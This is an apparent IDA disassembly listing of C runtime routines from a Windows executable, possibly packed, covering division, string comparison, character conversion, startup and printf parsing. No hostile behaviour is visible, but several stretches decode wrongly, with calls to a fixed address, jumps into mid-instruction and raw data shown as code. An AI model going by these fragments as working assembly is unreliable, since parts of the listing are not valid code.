mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_413F3D: ; CODE XREF: sub_413F00+27j
or eax, eax
jnz short loc_413F59
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_413F9A
; ---------------------------------------------------------------------------
loc_413F59: ; CODE XREF: sub_413F00+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_413F67: ; CODE XREF: sub_413F00+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_413F67
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_413F95
cmp edx, [esp+0Ch+arg_4]
ja short loc_413F95
jb short loc_413F96
cmp eax, [esp+0Ch+arg_0]
jbe short loc_413F96
loc_413F95: ; CODE XREF: sub_413F00+85j
; sub_413F00+8Bj
dec esi
loc_413F96: ; CODE XREF: sub_413F00+8Dj
; sub_413F00+93j
xor edx, edx
mov eax, esi
loc_413F9A: ; CODE XREF: sub_413F00+57j
dec edi
jnz short loc_413FA4
neg edx
neg eax
sbb edx, 0
loc_413FA4: ; CODE XREF: sub_413F00+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_413F00 endp
; =============== S U B R O U T I N E =======================================
sub_413FAA proc near ; CODE XREF: .nsp0:0041445Bp
mov eax, off_43147C
test eax, eax
jz short loc_413FB5
call eax ; sub_412911
loc_413FB5: ; CODE XREF: sub_413FAA+7j
push offset dword_41F024
push offset dword_41F010
call sub_414092
push offset dword_41F00C
push offset dword_41F000
call sub_414092
add esp, 10h
retn
sub_413FAA endp
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_413FF9
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_413FE8 proc near ; CODE XREF: sub_4144BE+1Cp
; sub_41746C+3429p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_413FF9
add esp, 0Ch
retn
sub_413FE8 endp
; =============== S U B R O U T I N E =======================================
sub_413FF9 proc near ; CODE XREF: .nsp0:00413FDFp
; sub_413FE8+8p
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_462C0C, edi
jnz short near ptr loc_414015+1
push [esp+4+arg_0]
call near ptr 0AB0000h
jbe short near ptr loc_41405E+2
call near ptr 0AB0000h
loc_414015: ; CODE XREF: sub_413FF9+Aj
add [ebx+0C247Ch], al
push ebx
mov ebx, [esp+8+arg_8]
mov dword_462C08, edi
mov byte_462C04, bl
jnz short loc_41406A
mov eax, dword_464234
test eax, eax
jz short loc_414059
mov ecx, dword_464230
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_414058
loc_414045: ; CODE XREF: sub_413FF9+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41404D
call eax
loc_41404D: ; CODE XREF: sub_413FF9+50j
sub esi, 4
cmp esi, dword_464234
jnb short loc_414045
loc_414058: ; CODE XREF: sub_413FF9+4Aj
pop esi
loc_414059: ; CODE XREF: sub_413FF9+3Cj
push offset dword_41F030
loc_41405E: ; CODE XREF: sub_413FF9+15j
push offset dword_41F028
call sub_414092
pop ecx
pop ecx
loc_41406A: ; CODE XREF: sub_413FF9+33j
push offset dword_41F03C
push offset dword_41F034
call sub_414092
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_414090
push [esp+4+arg_0]
mov dword_462C0C, edi
call dword_41D108 ; ExitProcess
loc_414090: ; CODE XREF: sub_413FF9+85j
pop edi
retn
sub_413FF9 endp
; =============== S U B R O U T I N E =======================================
sub_414092 proc near ; CODE XREF: sub_413FAA+15p
; sub_413FAA+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_414097: ; CODE XREF: sub_414092+16j
cmp esi, [esp+4+arg_4]
jnb short loc_4140AA
mov eax, [esi]
test eax, eax
jz short loc_4140A5
call eax
loc_4140A5: ; CODE XREF: sub_414092+Fj
add esi, 4
jmp short loc_414097
; ---------------------------------------------------------------------------
loc_4140AA: ; CODE XREF: sub_414092+9j
pop esi
retn
sub_414092 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4140AC proc near ; CODE XREF: .nsp0:0040E3A9p
; .nsp0:0040E3D8p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_4140C0
xor eax, eax
jmp short loc_4140F6
; ---------------------------------------------------------------------------
loc_4140C0: ; CODE XREF: sub_4140AC+Ej
dec [ebp+arg_4]
push esi
jz short loc_4140F0
mov esi, [ebp+arg_8]
loc_4140C9: ; CODE XREF: sub_4140AC+42j
dec dword ptr [esi+4]
js short loc_4140D8
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_4140DF
; ---------------------------------------------------------------------------
loc_4140D8: ; CODE XREF: sub_4140AC+20j
push esi
call sub_418180
pop ecx
loc_4140DF: ; CODE XREF: sub_4140AC+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_4140FA
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_4140F0
dec [ebp+arg_4]
jnz short loc_4140C9
loc_4140F0: ; CODE XREF: sub_4140AC+18j
; sub_4140AC+3Dj ...
and byte ptr [edi], 0
loc_4140F3: ; CODE XREF: sub_4140AC+55j
mov eax, ebx
pop esi
loc_4140F6: ; CODE XREF: sub_4140AC+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4140FA: ; CODE XREF: sub_4140AC+36j
cmp edi, [ebp+arg_0]
jnz short loc_4140F0
xor ebx, ebx
jmp short loc_4140F3
sub_4140AC endp
; =============== S U B R O U T I N E =======================================
sub_414103 proc near ; CODE XREF: .nsp0:0040C9CCp
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 0AB0000h
adc al, 85h
sal byte ptr [ebp+8], 0FFh
adc eax, offset dword_41D06C
jmp short loc_41411B
; ---------------------------------------------------------------------------
xor eax, eax
loc_41411B: ; CODE XREF: sub_414103+14j
test eax, eax
jz short loc_41412A
push eax
call sub_418CFA
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41412A: ; CODE XREF: sub_414103+1Aj
xor eax, eax
retn
sub_414103 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_414140
loc_414130: ; CODE XREF: sub_414140+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_414140
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414140 proc near ; CODE XREF: .nsp0:0040A748p
; .nsp0:0040A7EFp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00414130 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_414146: ; CODE XREF: sub_4124C0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41416B
loc_414158: ; CODE XREF: sub_414140+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_414130
test cl, cl
jz short loc_4141B4
test edx, 3
jnz short loc_414158
loc_41416B: ; CODE XREF: sub_414140+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_414176: ; CODE XREF: sub_414140+61j
; sub_414140+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4141B8
and eax, 81010100h
jz short loc_414176
and eax, 1010100h
jnz short loc_4141B2
and esi, 80000000h
jnz short loc_414176
loc_4141B2: ; CODE XREF: sub_414140+68j
; sub_414140+81j ...
pop esi
pop edi
loc_4141B4: ; CODE XREF: sub_414140+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4141B8: ; CODE XREF: sub_414140+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_4141F5
test al, al
jz short loc_4141B2
cmp ah, bl
jz short loc_4141EE
test ah, ah
jz short loc_4141B2
shr eax, 10h
cmp al, bl
jz short loc_4141E7
test al, al
jz short loc_4141B2
cmp ah, bl
jz short loc_4141E0
test ah, ah
jz short loc_4141B2
jmp short loc_414176
; ---------------------------------------------------------------------------
loc_4141E0: ; CODE XREF: sub_414140+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4141E7: ; CODE XREF: sub_414140+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4141EE: ; CODE XREF: sub_414140+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4141F5: ; CODE XREF: sub_414140+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_414140 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41424C
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41424D
test eax, 1
jz short loc_41422D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41427A
inc esi
inc edi
dec eax
jz short loc_41424A
loc_41422D: ; CODE XREF: .nsp0:00414220j
; .nsp0:00414248j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41427A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41427A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41422D
loc_41424A: ; CODE XREF: .nsp0:0041422Bj
; .nsp0:00414284j
pop edi
pop esi
locret_41424C: ; CODE XREF: .nsp0:00414206j
retn
; ---------------------------------------------------------------------------
loc_41424D: ; CODE XREF: .nsp0:00414219j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_414282
repe cmpsd
jz short loc_414282
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_414275
cmp ch, dh
jnz short loc_414275
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_414275
cmp ch, dh
loc_414275: ; CODE XREF: .nsp0:00414263j
; .nsp0:00414267j ...
mov eax, 0
loc_41427A: ; CODE XREF: .nsp0:00414226j
; .nsp0:00414233j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_414282: ; CODE XREF: .nsp0:00414255j
; .nsp0:00414259j
test eax, eax
jz short loc_41424A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_414275
dec eax
jz short loc_4142A9
cmp dh, ch
jnz short loc_414275
dec eax
jz short loc_4142A9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_414275
dec eax
loc_4142A9: ; CODE XREF: .nsp0:0041428Fj
; .nsp0:00414296j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_4142AC proc near ; CODE XREF: sub_41094E+55p
; sub_41135F+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4142C3
loc_4142B9: ; CODE XREF: sub_4142AC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4142B9
loc_4142C3: ; CODE XREF: sub_4142AC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4142AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142C9 proc near ; CODE XREF: sub_41094E+19p
; sub_41094E+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_414396
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_4143C3
cmp dword_462C58, esi
jnz short loc_41431A
cmp edi, esi
jbe loc_4143C3
loc_4142F9: ; CODE XREF: sub_4142C9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_4143C3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_4142F9
jmp loc_4143C3
; ---------------------------------------------------------------------------
loc_41431A: ; CODE XREF: sub_4142C9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_41D130
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_462C68
call esi ; dword_41D130
test eax, eax
jnz loc_4143C2
call dword_41D06C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_414354
loc_414345: ; CODE XREF: sub_4142C9+CBj
; sub_4142C9+F7j
mov dword_462BC4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4143C3
; ---------------------------------------------------------------------------
loc_414354: ; CODE XREF: sub_4142C9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41435C: ; CODE XREF: sub_4142C9+B3j
mov cl, [eax]
test cl, cl
jz short loc_41437E
mov edx, off_4314B0
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_414373
inc eax
loc_414373: ; CODE XREF: sub_4142C9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41435C
loc_41437E: ; CODE XREF: sub_4142C9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_462C68
call esi ; dword_41D130
test eax, eax
jnz short loc_4143C3
jmp short loc_414345
; ---------------------------------------------------------------------------
loc_414396: ; CODE XREF: sub_4142C9+Fj
cmp dword_462C58, esi
jnz short loc_4143A9
push [ebp+arg_4]
call sub_4126F0
pop ecx
jmp short loc_4143C3
; ---------------------------------------------------------------------------
loc_4143A9: ; CODE XREF: sub_4142C9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_462C68
call dword_41D130 ; MultiByteToWideChar
cmp eax, esi
jz short loc_414345
loc_4143C2: ; CODE XREF: sub_4142C9+6Bj
dec eax
loc_4143C3: ; CODE XREF: sub_4142C9+1Aj
; sub_4142C9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4142C9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D670
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_41D164 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_462BDC, edx
mov ecx, eax
and ecx, 0FFh
mov dword_462BD8, ecx
shl ecx, 8
add ecx, edx
mov dword_462BD4, ecx
shr eax, 10h
mov dword_462BD0, eax
xor esi, esi
push esi
call sub_415353
pop ecx
test eax, eax
jnz short loc_414434
push 1Ch
call sub_4144E3
pop ecx
loc_414434: ; CODE XREF: .nsp0:0041442Aj
mov [ebp-4], esi
call loc_419375
call near ptr 0AB0000h
mov cs:dword_464224, eax
call sub_419243
mov dword_462C10, eax
call sub_418FF6
loc_414456: ; CODE XREF: .nsp0:0041446Cj
call sub_418F3D
call sub_413FAA
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call near ptr 0AB0000h
jb short loc_414456
jnb short loc_4144BA
; ---------------------------------------------------------------------------
dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
dd 9C75FF50h, 71E85656h, 9E0069BBh, 5658E850h, 4589FFFFh
dd 38E850A0h, 8BFFFFFBh, 88BEC45h, 4D89098Bh, 0E8515098h
dd 48B1h, 8BC35959h, 75FFE865h
db 98h, 0E8h
; ---------------------------------------------------------------------------
loc_4144BA: ; CODE XREF: .nsp0:0041446Ej
sub bh, bl
; ---------------------------------------------------------------------------
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_4144BE proc near ; CODE XREF: sub_413222+16p
; sub_418F3D+4Ep ...
arg_0 = dword ptr 4
cmp dword_462C18, 1
jnz short loc_4144CC
call sub_419600
loc_4144CC: ; CODE XREF: sub_4144BE+7j
push [esp+arg_0]
call sub_419639
push 0FFh
call off_4314A0
pop ecx
pop ecx
retn
sub_4144BE endp
; =============== S U B R O U T I N E =======================================
sub_4144E3 proc near ; CODE XREF: .nsp0:0041442Ep
arg_0 = dword ptr 4
cmp dword_462C18, 1
jnz short loc_4144F1
call sub_419600
loc_4144F1: ; CODE XREF: sub_4144E3+7j
push [esp+arg_0]
call sub_419639
pop ecx
push 0FFh
call dword_41D108 ; ExitProcess
retn
sub_4144E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414507 proc near ; CODE XREF: sub_411EEE+46p
; sub_41246A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_414610
test al, 40h
jnz loc_414610
test al, 1
jz short loc_41453F
and dword ptr [esi+4], 0
test al, 10h
jz loc_414610
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41453F: ; CODE XREF: sub_414507+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_414579
cmp esi, offset dword_431BC8
jz short loc_414567
cmp esi, offset dword_431BE8
jnz short loc_414572
loc_414567: ; CODE XREF: sub_414507+56j
push ebx
call sub_41997D
test eax, eax
pop ecx
jnz short loc_414579
loc_414572: ; CODE XREF: sub_414507+5Ej
push esi
call sub_419939
pop ecx
loc_414579: ; CODE XREF: sub_414507+4Ej
; sub_414507+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_4145E6
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_4145A9
push edi
push eax
push ebx
call sub_41978C
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_4145DC
; ---------------------------------------------------------------------------
loc_4145A9: ; CODE XREF: sub_414507+90j
cmp ebx, 0FFFFFFFFh
jz short loc_4145C4
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_463EE0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_4145C9
; ---------------------------------------------------------------------------
loc_4145C4: ; CODE XREF: sub_414507+A5j
mov eax, offset dword_431B10
loc_4145C9: ; CODE XREF: sub_414507+BBj
test byte ptr [eax+4], 20h
jz short loc_4145DC
push 2
push 0
push ebx
call sub_41844F
add esp, 0Ch
loc_4145DC: ; CODE XREF: sub_414507+A0j
; sub_414507+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_4145FA
; ---------------------------------------------------------------------------
loc_4145E6: ; CODE XREF: sub_414507+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41978C
add esp, 0Ch
mov [ebp+arg_4], eax
loc_4145FA: ; CODE XREF: sub_414507+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_414606
or dword ptr [esi+0Ch], 20h
jmp short loc_414615
; ---------------------------------------------------------------------------
loc_414606: ; CODE XREF: sub_414507+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_414618
; ---------------------------------------------------------------------------
loc_414610: ; CODE XREF: sub_414507+10j
; sub_414507+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_414615: ; CODE XREF: sub_414507+FDj
or eax, 0FFFFFFFFh
loc_414618: ; CODE XREF: sub_414507+107j
pop esi
pop ebx
pop ebp
retn
sub_414507 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41461C proc near ; CODE XREF: sub_411EEE+29p
; sub_41246A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_414D35
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_414650
; ---------------------------------------------------------------------------
loc_414648: ; CODE XREF: sub_41461C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_414650: ; CODE XREF: sub_41461C+2Aj
cmp [ebp+var_14], edx
jl loc_414D35
cmp bl, 20h
jl short loc_414671
cmp bl, 78h
jg short loc_414671
movsx eax, bl
mov al, [eax+41D65Ch]
and eax, 0Fh
jmp short loc_414673
; ---------------------------------------------------------------------------
loc_414671: ; CODE XREF: sub_41461C+40j
; sub_41461C+45j
xor eax, eax
loc_414673: ; CODE XREF: sub_41461C+53j
movsx eax, byte_41D67C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_414D24 ; default
jmp off_414D3D[eax*4] ; switch jump
loc_414691: ; DATA XREF: .nsp0:off_414D3Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041468A case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146AC: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
movsx eax, bl ; jumptable 0041468A case 2
sub eax, 20h
jz short loc_4146EF
sub eax, 3
jz short loc_4146E6
sub eax, 8
jz short loc_4146DD
dec eax
dec eax
jz short loc_4146D4
sub eax, 3
jnz loc_414D24 ; default
or [ebp+var_4], 8
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146D4: ; CODE XREF: sub_41461C+A4j
or [ebp+var_4], 4
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146DD: ; CODE XREF: sub_41461C+A0j
or [ebp+var_4], 1
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146E6: ; CODE XREF: sub_41461C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146EF: ; CODE XREF: sub_41461C+96j
or [ebp+var_4], 2
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4146F8: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
cmp bl, 2Ah ; jumptable 0041468A case 3
jnz short loc_414720
lea eax, [ebp+arg_8]
push eax
call sub_414DFB
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_414D24 ; default
or [ebp+var_4], 4
neg eax
loc_414718: ; CODE XREF: sub_41461C+111j
mov [ebp+var_20], eax
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_414720: ; CODE XREF: sub_41461C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_414718
; ---------------------------------------------------------------------------
loc_41472F: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
mov [ebp+var_10], edx ; jumptable 0041468A case 4
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_414737: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
cmp bl, 2Ah ; jumptable 0041468A case 5
jnz short loc_41475A
lea eax, [ebp+arg_8]
push eax
call sub_414DFB
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_414D24 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_41475A: ; CODE XREF: sub_41461C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_41476C: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
cmp bl, 49h ; jumptable 0041468A case 6
jz short loc_41479F
cmp bl, 68h
jz short loc_414796
cmp bl, 6Ch
jz short loc_41478D
cmp bl, 77h
jnz loc_414D24 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_41478D: ; CODE XREF: sub_41461C+15Dj
or [ebp+var_4], 10h
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_414796: ; CODE XREF: sub_41461C+158j
or [ebp+var_4], 20h
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_41479F: ; CODE XREF: sub_41461C+153j
cmp byte ptr [edi], 36h
jnz short loc_4147B8
cmp byte ptr [edi+1], 34h
jnz short loc_4147B8
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4147B8: ; CODE XREF: sub_41461C+186j
; sub_41461C+18Cj
mov [ebp+var_30], edx
loc_4147BB: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
mov ecx, off_4314B0 ; jumptable 0041468A case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_4147E7
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_414D5D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_4147E7: ; CODE XREF: sub_41461C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_414D5D
add esp, 0Ch
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_4147FF: ; CODE XREF: sub_41461C+6Ej
; DATA XREF: .nsp0:off_414D3Do
movsx eax, bl ; jumptable 0041468A case 7
cmp eax, 67h
jg loc_414A27
cmp eax, 65h
jge loc_4148AA
cmp eax, 58h
jg loc_414908
jz loc_414A9B
sub eax, 43h
jz loc_4148CB
dec eax
dec eax
jz short loc_4148A0
dec eax
dec eax
jz short loc_4148A0
sub eax, 0Ch
jnz loc_414C26
test word ptr [ebp+var_4], 830h
jnz short loc_414849
or byte ptr [ebp+var_4+1], 8
loc_414849: ; CODE XREF: sub_41461C+227j
; sub_41461C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_414856
mov esi, 7FFFFFFFh
loc_414856: ; CODE XREF: sub_41461C+233j
lea eax, [ebp+arg_8]
push eax
call sub_414DFB
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_414A6F
test ecx, ecx
jnz short loc_41487E
mov ecx, off_4314AC
mov [ebp+var_8], ecx
loc_41487E: ; CODE XREF: sub_41461C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_414887: ; CODE XREF: sub_41461C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_414A66
cmp word ptr [eax], 0
jz loc_414A66
inc eax
inc eax
jmp short loc_414887
; ---------------------------------------------------------------------------
loc_4148A0: ; CODE XREF: sub_41461C+212j
; sub_41461C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4148AA: ; CODE XREF: sub_41461C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41498E
mov [ebp+var_10], 6
jmp loc_41499C
; ---------------------------------------------------------------------------
loc_4148CB: ; CODE XREF: sub_41461C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4148D7
or byte ptr [ebp+var_4+1], 8
loc_4148D7: ; CODE XREF: sub_41461C+2B5j
; sub_41461C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41491E
call sub_414E18
push eax
lea eax, [ebp+var_248]
push eax
call sub_419A5C
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_414931
mov [ebp+var_28], 1
jmp short loc_414931
; ---------------------------------------------------------------------------
loc_414908: ; CODE XREF: sub_41461C+1FBj
sub eax, 5Ah
jz short loc_41493F
sub eax, 9
jz short loc_4148D7
dec eax
jz loc_414B01
jmp loc_414C26
; ---------------------------------------------------------------------------
